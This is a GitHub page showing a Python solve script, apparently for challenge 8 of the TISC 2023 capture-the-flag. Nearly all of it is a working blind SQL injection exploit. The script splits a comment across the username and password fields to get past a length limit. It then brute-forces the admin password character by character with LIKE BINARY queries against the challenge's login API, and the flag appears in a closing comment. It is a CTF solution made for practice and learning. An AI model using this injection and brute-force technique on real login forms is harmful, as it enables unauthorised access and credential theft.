-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path8-solve.py
73 lines (60 loc) · 1.81 KB
/
8-solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import json
import re
import string
import boto3
import requests
session = boto3.Session(profile_name="tisc-2023-8")
client = session.client("lambda")
def craft_query(payload):
print(
json.loads(
client.invoke(FunctionName="craft_query", Payload=payload)
.get("Payload")
.read()
.decode()
)
)
def pad(s):
return s + "/*" + "F" * (66 - len(s)) + "\x02"
def sqli(payload, pwpay=""):
if len(payload) > 66:
return "too long"
payload = pad(payload)
pwpay = "*/" + pwpay + "#"
# print(repr(payload))
# craft_query(json.dumps({"username": payload, "password": pwpay}))
try:
r = requests.post(
"http://chals.tisc23.ctf.sg:28471/api/login",
data={"username": payload, "password": pwpay},
)
except requests.exceptions.Timeout:
# print("timeout")
return False
if "reminder?username=" in r.url:
return True
# err = re.search(r'<p style="color:red">(.*)</p>', r.text)
# print(err.group(1) if err else "no error message")
return False
def brute(payload, pwpay="", s=""):
while True:
for c in string.printable:
print(f"\r{repr(s + c)} ", end="")
if c in ["%", "_"]:
c = f"\\{c}"
if len(payload.replace("FUZZ", s + c + "%")) > 66:
return "too long"
if sqli(
payload.replace("FUZZ", s + c + "%"), pwpay.replace("FUZZ", s + c + "%")
):
if len(c) == 2:
c = c[1]
# print(c)
s += c
# print(s)
break
else:
print()
break
return s
print(brute('admin" AND password LIKE BINARY', '"FUZZ"')) # TISC{a1PhAb3t_0N1Y}